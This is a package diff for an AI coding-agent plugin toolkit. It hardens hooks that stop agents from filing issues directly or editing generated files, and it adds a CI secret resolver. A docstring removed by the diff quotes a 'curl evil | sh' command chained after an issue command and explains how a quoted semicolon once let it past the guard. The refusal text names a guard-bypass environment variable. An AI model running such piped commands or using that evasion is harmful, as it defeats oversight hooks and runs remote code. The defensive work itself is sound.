@codyswann/lisa 4.59.2 → 4.59.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (88) hide show
  1. package/all/copy-overwrite/scripts/lisa-hooks/block-direct-issue-create.sh +33 -72
  2. package/all/copy-overwrite/scripts/lisa-hooks/block-managed-file-edits.sh +18 -10
  3. package/all/copy-overwrite/scripts/lisa-lint-staged-preflight.mjs +33 -9
  4. package/dist/core/lisa-owned-hash-ledger.d.ts.map +1 -1
  5. package/dist/core/lisa-owned-hash-ledger.js +6 -0
  6. package/dist/core/lisa-owned-hash-ledger.js.map +1 -1
  7. package/dist/core/nightly-e2e-guard-behavior-certificate.js +2 -2
  8. package/dist/core/upstream-evidence-manifest.d.ts.map +1 -1
  9. package/dist/core/upstream-evidence-manifest.js +21 -10
  10. package/dist/core/upstream-evidence-manifest.js.map +1 -1
  11. package/dist/opencode/plugin-templates/block-managed-file-edits.sh +18 -10
  12. package/expo/create-only/.github/workflows/deploy.yml +31 -9
  13. package/package.json +4 -4
  14. package/plugins/lisa/.claude-plugin/plugin.json +1 -1
  15. package/plugins/lisa/.codex-plugin/plugin.json +1 -1
  16. package/plugins/lisa/.codex-plugin/skills/lisa-secrets-access/SKILL.md +12 -0
  17. package/plugins/lisa/.codex-plugin/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
  18. package/plugins/lisa/hooks/block-direct-issue-create.sh +33 -72
  19. package/plugins/lisa/hooks/block-managed-file-edits.sh +18 -10
  20. package/plugins/lisa/skills/lisa-secrets-access/SKILL.md +12 -0
  21. package/plugins/lisa/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
  22. package/plugins/lisa-agy/hooks/block-direct-issue-create.sh +33 -72
  23. package/plugins/lisa-agy/hooks/block-managed-file-edits.sh +18 -10
  24. package/plugins/lisa-agy/plugin.json +1 -1
  25. package/plugins/lisa-agy/skills/lisa-secrets-access/SKILL.md +12 -0
  26. package/plugins/lisa-agy/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
  27. package/plugins/lisa-cdk/.claude-plugin/plugin.json +1 -1
  28. package/plugins/lisa-cdk/.codex-plugin/plugin.json +1 -1
  29. package/plugins/lisa-cdk-agy/plugin.json +1 -1
  30. package/plugins/lisa-cdk-copilot/.claude-plugin/plugin.json +1 -1
  31. package/plugins/lisa-cdk-cursor/.claude-plugin/plugin.json +1 -1
  32. package/plugins/lisa-copilot/.claude-plugin/plugin.json +1 -1
  33. package/plugins/lisa-copilot/hooks/block-direct-issue-create.sh +33 -72
  34. package/plugins/lisa-copilot/hooks/block-managed-file-edits.sh +18 -10
  35. package/plugins/lisa-copilot/skills/lisa-secrets-access/SKILL.md +12 -0
  36. package/plugins/lisa-copilot/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
  37. package/plugins/lisa-cursor/.claude-plugin/plugin.json +1 -1
  38. package/plugins/lisa-cursor/hooks/block-direct-issue-create.sh +33 -72
  39. package/plugins/lisa-cursor/hooks/block-managed-file-edits.sh +18 -10
  40. package/plugins/lisa-cursor/skills/lisa-secrets-access/SKILL.md +12 -0
  41. package/plugins/lisa-cursor/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
  42. package/plugins/lisa-expo/.claude-plugin/plugin.json +1 -1
  43. package/plugins/lisa-expo/.codex-plugin/plugin.json +1 -1
  44. package/plugins/lisa-expo-agy/plugin.json +1 -1
  45. package/plugins/lisa-expo-copilot/.claude-plugin/plugin.json +1 -1
  46. package/plugins/lisa-expo-cursor/.claude-plugin/plugin.json +1 -1
  47. package/plugins/lisa-harper-fabric/.claude-plugin/plugin.json +1 -1
  48. package/plugins/lisa-harper-fabric/.codex-plugin/plugin.json +1 -1
  49. package/plugins/lisa-harper-fabric-agy/plugin.json +1 -1
  50. package/plugins/lisa-harper-fabric-copilot/.claude-plugin/plugin.json +1 -1
  51. package/plugins/lisa-harper-fabric-cursor/.claude-plugin/plugin.json +1 -1
  52. package/plugins/lisa-nestjs/.claude-plugin/plugin.json +1 -1
  53. package/plugins/lisa-nestjs/.codex-plugin/plugin.json +1 -1
  54. package/plugins/lisa-nestjs-agy/plugin.json +1 -1
  55. package/plugins/lisa-nestjs-copilot/.claude-plugin/plugin.json +1 -1
  56. package/plugins/lisa-nestjs-cursor/.claude-plugin/plugin.json +1 -1
  57. package/plugins/lisa-openclaw/.claude-plugin/plugin.json +1 -1
  58. package/plugins/lisa-openclaw/.codex-plugin/plugin.json +1 -1
  59. package/plugins/lisa-openclaw-agy/plugin.json +1 -1
  60. package/plugins/lisa-openclaw-copilot/.claude-plugin/plugin.json +1 -1
  61. package/plugins/lisa-openclaw-cursor/.claude-plugin/plugin.json +1 -1
  62. package/plugins/lisa-phaser/.claude-plugin/plugin.json +1 -1
  63. package/plugins/lisa-phaser/.codex-plugin/plugin.json +1 -1
  64. package/plugins/lisa-phaser-agy/plugin.json +1 -1
  65. package/plugins/lisa-phaser-copilot/.claude-plugin/plugin.json +1 -1
  66. package/plugins/lisa-phaser-cursor/.claude-plugin/plugin.json +1 -1
  67. package/plugins/lisa-rails/.claude-plugin/plugin.json +1 -1
  68. package/plugins/lisa-rails/.codex-plugin/plugin.json +1 -1
  69. package/plugins/lisa-rails-agy/plugin.json +1 -1
  70. package/plugins/lisa-rails-copilot/.claude-plugin/plugin.json +1 -1
  71. package/plugins/lisa-rails-cursor/.claude-plugin/plugin.json +1 -1
  72. package/plugins/lisa-typescript/.claude-plugin/plugin.json +1 -1
  73. package/plugins/lisa-typescript/.codex-plugin/plugin.json +1 -1
  74. package/plugins/lisa-typescript-agy/plugin.json +1 -1
  75. package/plugins/lisa-typescript-copilot/.claude-plugin/plugin.json +1 -1
  76. package/plugins/lisa-typescript-cursor/.claude-plugin/plugin.json +1 -1
  77. package/plugins/lisa-wiki/.claude-plugin/plugin.json +1 -1
  78. package/plugins/lisa-wiki/.codex-plugin/plugin.json +1 -1
  79. package/plugins/lisa-wiki-agy/plugin.json +1 -1
  80. package/plugins/lisa-wiki-copilot/.claude-plugin/plugin.json +1 -1
  81. package/plugins/lisa-wiki-cursor/.claude-plugin/plugin.json +1 -1
  82. package/plugins/src/base/hooks/block-direct-issue-create.sh +33 -72
  83. package/plugins/src/base/hooks/block-managed-file-edits.sh +18 -10
  84. package/plugins/src/base/skills/lisa-secrets-access/SKILL.md +12 -0
  85. package/plugins/src/base/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs +90 -0
  86. package/scripts/check-workflow-package-paths.mjs +37 -3
  87. package/scripts/lib/workflow-contract-probe.mjs +11 -0
  88. package/scripts/two-channel-couplings.json +1 -1
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "4.59.2",
3
+ "version": "4.59.4",
4
4
  "description": "Distributable LLM Wiki kernel — ingest, query, lint, and maintain a git-native markdown knowledge base across Claude and Codex.",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "4.59.2",
3
+ "version": "4.59.4",
4
4
  "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "4.59.2",
3
+ "version": "4.59.4",
4
4
  "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "lisa-wiki",
3
- "version": "4.59.2",
3
+ "version": "4.59.4",
4
4
  "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
5
5
  "author": {
6
6
  "name": "Cody Swann"
@@ -1055,89 +1055,50 @@ def strip_heredocs(text):
1055
1055
  return "\n".join(output)
1056
1056
 
1057
1057
 
1058
- def quoted_token_mask(text, expected):
1059
- """Which token POSITIONS were quoted in the source.
1058
+ class LiteralToken(str):
1059
+ """A source word containing quoted data, never a standalone separator."""
1060
1060
 
1061
- shlex strips quotes, so by the time a token is in hand there is no way to
1062
- tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
1063
1061
 
1064
- A quoted token is DATA and must never be exploded on shell operators. An
1065
- unquoted one may be `true&&gh`, where the operator is structural and hiding
1066
- a command. That is the entire distinction.
1067
-
1068
- It must be answered PER OCCURRENCE, not per token value. Asking "does the
1069
- text contain a quoted `;`?" classifies every `;` in the command by whether
1070
- ANY of them was quoted, so
1071
-
1072
- gh issue create --title x --body ";" ; curl evil | sh
1073
-
1074
- exempted the real chaining semicolon because a different, quoted one
1075
- appeared in --body. That is a bypass of this guard, not a nuisance: the
1076
- exemption added to stop a false refusal became the way through.
1077
-
1078
- Lexing the same text a second time with `posix=False` preserves the quote
1079
- characters while producing the same tokens in the same order, so position
1080
- `i` answers for occurrence `i` and nothing else.
1081
-
1082
- Args:
1083
- text: The original command string.
1084
- expected: Token count from the posix lex, used to prove alignment.
1062
+ def explode_operators(tokens, text=""):
1063
+ """Separate unquoted operators without losing mixed-word quote boundaries.
1085
1064
 
1086
- Returns:
1087
- A list of booleans, one per token. Empty when the two lexes disagree,
1088
- which exempts nothing — an unreadable command must not be trusted.
1065
+ Hide each quoted or escaped source fragment before the ordinary shlex pass.
1066
+ Split operators while those fragments are opaque, then restore their values.
1067
+ Per-occurrence placeholders cannot exempt a different, unquoted separator.
1089
1068
  """
1090
- try:
1091
- raw = shlex.split(text, posix=False)
1092
- except ValueError:
1093
- return []
1094
- # Alignment is the whole basis for indexing one lex by the other's
1095
- # positions. If the two disagree, fail closed rather than exempt the wrong
1096
- # token: a missed exemption is a false refusal, a wrong one is a bypass.
1097
- if len(raw) != expected:
1098
- return []
1099
- return [token[:1] in ('"', "'") for token in raw]
1100
-
1069
+ operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
1070
+ if not text:
1071
+ return [piece for token in tokens for piece in operators.split(token) if piece]
1101
1072
 
1102
- def explode_operators(tokens, text=""):
1103
- """Split shell control operators glued to adjacent words.
1073
+ prefix = "__lisa_literal_"
1074
+ while prefix in text:
1075
+ prefix += "_"
1076
+ values = []
1077
+ fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
1104
1078
 
1105
- `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
1106
- not `gh`, so the creation hid behind the operator. Splitting them out means
1107
- an operator can never be load-bearing punctuation inside a token.
1079
+ def hide(match):
1080
+ """Decode one protected fragment through the same POSIX lexer."""
1081
+ value = shlex.split(match.group(0), posix=True)
1082
+ values.append(value[0] if value else "")
1083
+ return prefix + str(len(values) - 1) + "__"
1108
1084
 
1109
- QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
1110
- measured false refusal: a `--title "Trim config; org preference"` was split on its
1111
- semicolon, the `--label status:ready` landed in a different segment from the
1112
- `gh issue create`, and the guard refused a correctly-formed filing while
1113
- telling the author to add the label they had already added. Recorded on
1114
- CodySwannGT/lisa#2634 after it blocked a real filing.
1085
+ masked = fragments.sub(hide, text)
1086
+ marker = re.compile(re.escape(prefix) + r"(\d+)__")
1115
1087
 
1116
- `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
1117
- tokenises the glued case correctly but shatters a GraphQL payload —
1118
- `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
1119
- the exact regression the GLUED_OPERATORS comment above records as having
1120
- silently un-refused every GraphQL creation.
1088
+ def restore(value):
1089
+ """Restore once, so decoded text cannot become another placeholder."""
1090
+ return marker.sub(lambda match: values[int(match.group(1))], value)
1121
1091
 
1122
- Args:
1123
- tokens: Tokens from shlex.
1124
- text: The original command string, used to detect quoting.
1092
+ shadow = shlex.split(masked, posix=True)
1093
+ if [restore(token) for token in shadow] != tokens:
1094
+ # If alignment cannot be established, grant no quoting exemptions.
1095
+ return [piece for token in tokens for piece in operators.split(token) if piece]
1125
1096
 
1126
- Returns:
1127
- Tokens with operators separated out.
1128
- """
1129
- pattern = re.compile(
1130
- "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
1131
- )
1132
1097
  exploded = []
1133
- quoted = quoted_token_mask(text, len(tokens)) if text else []
1134
- for index, token in enumerate(tokens):
1135
- if index < len(quoted) and quoted[index]:
1136
- exploded.append(token)
1137
- continue
1138
- for piece in pattern.split(token):
1098
+ for token in shadow:
1099
+ for piece in operators.split(token):
1139
1100
  if piece:
1140
- exploded.append(piece)
1101
+ exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
1141
1102
  return exploded
1142
1103
 
1143
1104
 
@@ -1153,7 +1114,7 @@ def segment(tokens):
1153
1114
  segments = []
1154
1115
  current = []
1155
1116
  for token in tokens:
1156
- if token in SEGMENT_BOUNDARIES:
1117
+ if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
1157
1118
  segments.append(current)
1158
1119
  current = []
1159
1120
  continue
@@ -322,7 +322,7 @@ managed_source() {
322
322
  # The distinction earns its keep because the two populations fail in OPPOSITE
323
323
  # ways, and a guard that gives one answer is wrong for half the files it covers:
324
324
  # an edited copy-overwrite file is PRESERVED and silently forks, while a
325
- # generated file is REBUILT and the edit vanishes on the next install.
325
+ # generated file is REBUILT and the edit vanishes on the next explicit apply.
326
326
  generated_path() {
327
327
  local rel="$1"
328
328
  local module="$package_root/dist/migrations/generated-paths.js"
@@ -361,16 +361,24 @@ refuse() {
361
361
  local target="$1"
362
362
  local source="$2"
363
363
  local rel="$3"
364
- local consequence
365
364
  if generated_path "$rel"; then
366
- consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
367
- template and it is not preserved: the next \`bun install\` rebuilds it and your
368
- edit is gone, with nothing reporting that it had been.
369
-
370
- That is the opposite failure from the copy-overwrite files this guard also
371
- covers, where an edit SURVIVES and forks silently. Here the edit works locally,
372
- CI agrees because CI regenerates too, and it disappears on the next install."
373
- elif ledger_tracked "$rel"; then
365
+ cat >&2 <<EOF
366
+ BLOCKED: refusing to write \`$target\`.
367
+
368
+ WHY: this file is generated by \`lisa apply\` (\`$source\`).
369
+ \`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
370
+ rebuilds it, so a direct edit will be lost.
371
+
372
+ Change the generation source upstream in Lisa, or the supported project
373
+ configuration that supplies it, then run \`lisa apply\` to regenerate the file.
374
+
375
+ If a human explicitly asked for this edit, they can re-run with
376
+ \`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
377
+ EOF
378
+ exit 2
379
+ fi
380
+ local consequence
381
+ if ledger_tracked "$rel"; then
374
382
  consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
375
383
  and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
376
384
  whether it is out of date or deliberately stronger. Kept yours.\"
@@ -188,6 +188,18 @@ On the GitHub Actions surface the repository secret and the exported environment
188
188
 
189
189
  There is no map of secret IDs, deliberately. Copying an ID per secret is the same duplication in a smaller costume, and lookup is by name.
190
190
 
191
+ ### Expo workflow pilot
192
+
193
+ The reusable Expo build workflow and the Expo deploy template can resolve `EXPO_TOKEN` from the project's configured provider. An explicit `EXPO_TOKEN` repository secret still takes precedence. Projects without a provider bootstrap keep their existing behavior.
194
+
195
+ For provider-backed Expo authentication, install a Lisa package containing `resolve-expo-token.mjs`, declare the provider and bootstrap in `.lisa.config.json`, and include `EXPO_TOKEN` if `secrets.require` is present. The workflow prepares only that provider's CLI through Lisa's existing installer, which uses checksum-pinned downloads for Bitwarden. Providers requiring manual setup must already be installed on the runner. The resolver respects the provider grant and `secrets.narrow`, masks the selected token, and writes only `EXPO_TOKEN` to the current job's environment. The bootstrap stays inside the resolver subprocess; the vault is not materialized into the job environment.
196
+
197
+ The build workflow's optional `LISA_SECRETS_BOOTSTRAP` secret input accepts the existing repository bootstrap secret. This input is an alias, not another stored credential: the resolver maps it to `bootstrap.key` inside its process. The Expo caller template forwards `secrets.BWS_ACCESS_TOKEN` by default. If your stored bootstrap has a different name, update its three references: the eligibility check, the reusable build call, and the deploy job's resolution step.
198
+
199
+ The eligibility check only establishes that an explicit token or a configured provider plus bootstrap is available. Each build or deploy job resolves its own token and must authenticate with Expo. A provider-backed caller using an older Lisa package fails with an upgrade instruction before invoking Expo.
200
+
201
+ The deploy caller is a **create-only** template. Existing projects must deliberately apply these caller changes after upgrading Lisa; a normal sync does not overwrite their workflow. This pilot does not convert other workflow credentials. `DEPLOY_KEY` remains available before dependency installation for checkout. Do not remove an existing Expo repository secret until a provider-only run has authenticated successfully.
202
+
191
203
  ## The exposure boundary
192
204
 
193
205
  **The provider's own scoping is the default allowlist.** The machine account's project grants *are* the permitted set; restating that as a list in config would duplicate a boundary the provider already enforces.
@@ -0,0 +1,90 @@
1
+ #!/usr/bin/env node
2
+ /** Resolve the Expo pilot's credential inside its GitHub Actions job. */
3
+ import { randomUUID } from "node:crypto";
4
+ import { appendFileSync } from "node:fs";
5
+
6
+ import { get, readConfig } from "./resolve-secret.mjs";
7
+ import { ENV_KEY } from "./providers.mjs";
8
+ import {
9
+ BIN_DIR,
10
+ ensureOnPath,
11
+ loadPinnedInstaller,
12
+ } from "../../lisa-setup-workstation/scripts/cli.mjs";
13
+ import {
14
+ installEntry,
15
+ planProvider,
16
+ resolveProvider,
17
+ } from "../../lisa-setup-workstation/scripts/workstation.mjs";
18
+
19
+ /** Provision only the selected provider, using the existing pinned installer. */
20
+ async function prepareProvider(name) {
21
+ const provider = resolveProvider(name);
22
+ let plan = planProvider(provider);
23
+ if (plan.action === "present") return;
24
+ ensureOnPath(BIN_DIR);
25
+ plan = planProvider(provider);
26
+ if (plan.action === "present") return;
27
+ if (plan.action !== "install") throw new Error("Provider needs setup");
28
+ const installed = installEntry({ ...provider, name: provider.binary }, plan, {
29
+ installPinned: await loadPinnedInstaller(),
30
+ });
31
+ if (installed.action !== "installed")
32
+ throw new Error("Provider setup failed");
33
+ }
34
+
35
+ /** Keep the bootstrap inside this subprocess; export only the selected value. */
36
+ async function resolveToken() {
37
+ const explicit = process.env.EXPO_TOKEN;
38
+ const bootstrap = process.env.LISA_SECRETS_BOOTSTRAP;
39
+ delete process.env.LISA_SECRETS_BOOTSTRAP;
40
+ if (explicit) return explicit;
41
+
42
+ process.env.LISA_SECRETS_SURFACE = "github-actions";
43
+ const cfg = readConfig();
44
+ if (cfg.provider === "env") return "";
45
+ if (
46
+ bootstrap &&
47
+ (!ENV_KEY.test(cfg.bootstrap.key ?? "") ||
48
+ cfg.bootstrap.key === "EXPO_TOKEN")
49
+ ) {
50
+ throw new Error("Invalid bootstrap key");
51
+ }
52
+ await prepareProvider(cfg.provider);
53
+ if (bootstrap) process.env[cfg.bootstrap.key] = bootstrap;
54
+ return get("EXPO_TOKEN", cfg);
55
+ }
56
+
57
+ if (process.argv.includes("--help")) {
58
+ // Safe to inspect without preparing a provider or reading/exporting a token.
59
+ console.log("Environment: EXPO_TOKEN LISA_SECRETS_BOOTSTRAP GITHUB_ENV");
60
+ console.log(
61
+ "An explicit EXPO_TOKEN takes precedence; otherwise resolve through the configured provider and export only EXPO_TOKEN to GITHUB_ENV."
62
+ );
63
+ } else {
64
+ let failureMessage = "GITHUB_ENV is required to export EXPO_TOKEN.";
65
+ try {
66
+ const destination = process.env.GITHUB_ENV;
67
+ if (!destination) throw new Error("GITHUB_ENV is required");
68
+ failureMessage =
69
+ "Unable to resolve EXPO_TOKEN. Check the configured provider, bootstrap input, and secrets.require; ensure the runner can install its provider CLI.";
70
+ const token = await resolveToken();
71
+ if (token) {
72
+ const masked = token
73
+ .replaceAll("%", "%25")
74
+ .replaceAll("\r", "%0D")
75
+ .replaceAll("\n", "%0A");
76
+ console.log(`::add-mask::${masked}`);
77
+ const delimiter = randomUUID();
78
+ failureMessage =
79
+ "Unable to write EXPO_TOKEN to GITHUB_ENV. Check the runner's environment file.";
80
+ appendFileSync(
81
+ destination,
82
+ `EXPO_TOKEN<<${delimiter}\n${token}\n${delimiter}\n`
83
+ );
84
+ }
85
+ } catch {
86
+ // Provider errors can contain captured subprocess output. Never echo it.
87
+ console.error(failureMessage);
88
+ process.exitCode = 1;
89
+ }
90
+ }
@@ -111,6 +111,7 @@ import path from "node:path";
111
111
  import { boundedExecFileSync } from "./lib/bounded-spawn.mjs";
112
112
  import { invokedAsScript } from "./lib/invoked-as-script.mjs";
113
113
  import {
114
+ compareVersions,
114
115
  declarationGaps,
115
116
  probeReleases,
116
117
  readContractDeclaration,
@@ -489,10 +490,17 @@ export function releaseContains(entries, candidate) {
489
490
  * @param {Record<string, readonly string[]>} listings - Version to entry list
490
491
  * @returns {readonly string[]} One operator-readable line per failure
491
492
  */
492
- export function findBreakages(groups, listings) {
493
+ export function findBreakages(groups, listings, contracts = {}) {
493
494
  return Object.entries(listings).flatMap(([version, entries]) =>
494
495
  groups
495
- .filter(group => !group.paths.some(p => releaseContains(entries, p)))
496
+ .filter(
497
+ group =>
498
+ !group.paths.some(
499
+ p =>
500
+ releaseContains(entries, p) ||
501
+ introducedLater(version, contracts[p])
502
+ )
503
+ )
496
504
  .map(
497
505
  group =>
498
506
  `${version}: ${group.workflow} step "${group.step}" resolves ${group.paths
@@ -504,6 +512,17 @@ export function findBreakages(groups, listings) {
504
512
  );
505
513
  }
506
514
 
515
+ /** A declared optional feature may predate its package artifact only on known older releases. */
516
+ function introducedLater(version, contract) {
517
+ return (
518
+ /^\d+\.\d+\.\d+$/.test(version) &&
519
+ typeof contract?.since === "string" &&
520
+ typeof contract.degradation === "string" &&
521
+ contract.degradation.length >= 40 &&
522
+ compareVersions(version, contract.since) < 0
523
+ );
524
+ }
525
+
507
526
  /**
508
527
  * Run the check.
509
528
  * @returns {void}
@@ -567,7 +586,7 @@ function main() {
567
586
  });
568
587
 
569
588
  const breakages = [
570
- ...findBreakages(claims.groups, listings),
589
+ ...findBreakages(claims.groups, listings, declaration.contracts),
571
590
  ...gaps.undeclared,
572
591
  ...gaps.stale,
573
592
  ...contracts.violations,
@@ -579,6 +598,19 @@ function main() {
579
598
  releasesExamined: Object.keys(listings),
580
599
  contractProbesExecuted: contracts.executed,
581
600
  contractProbesDeferred: contracts.deferred,
601
+ packagePathsDeferred: Object.entries(listings).flatMap(
602
+ ([version, entries]) =>
603
+ Object.entries(declaration.contracts)
604
+ .filter(
605
+ ([where, contract]) =>
606
+ !releaseContains(entries, where) &&
607
+ introducedLater(version, contract)
608
+ )
609
+ .map(
610
+ ([where, contract]) =>
611
+ `${version}: ${where} introduced in ${contract.since}; ${contract.degradation}`
612
+ )
613
+ ),
582
614
  contractProbesRun: contracts.probed,
583
615
  unattributed: claims.unattributed,
584
616
  breakages,
@@ -592,6 +624,8 @@ function main() {
592
624
  );
593
625
  for (const line of contracts.deferred)
594
626
  process.stdout.write(` · ${line}\n`);
627
+ for (const line of report.packagePathsDeferred)
628
+ process.stdout.write(` · ${line}\n`);
595
629
  for (const line of breakages) process.stdout.write(` ✗ ${line}\n`);
596
630
  }
597
631
 
@@ -151,6 +151,17 @@ export function readContractDeclaration(declared) {
151
151
  );
152
152
  }
153
153
  for (const [where, entry] of Object.entries(contracts)) {
154
+ if (
155
+ entry?.since !== undefined &&
156
+ (typeof entry.since !== "string" ||
157
+ !/^\d+\.\d+\.\d+$/.test(entry.since) ||
158
+ typeof entry.degradation !== "string" ||
159
+ entry.degradation.length < 40)
160
+ ) {
161
+ throw new Error(
162
+ `contracts["${where}"]: since needs a release version and degradation must explain the older caller's behavior`
163
+ );
164
+ }
154
165
  if (!CONTRACT_KINDS.has(entry?.kind)) {
155
166
  throw new Error(
156
167
  `contracts["${where}"]: kind must be one of ${[...CONTRACT_KINDS].join(", ")}`
@@ -95,7 +95,7 @@
95
95
  },
96
96
  "inspected": {
97
97
  "workflows": 23,
98
- "steps": 778,
98
+ "steps": 779,
99
99
  "couplings": 33,
100
100
  "inventory": 78
101
101
  },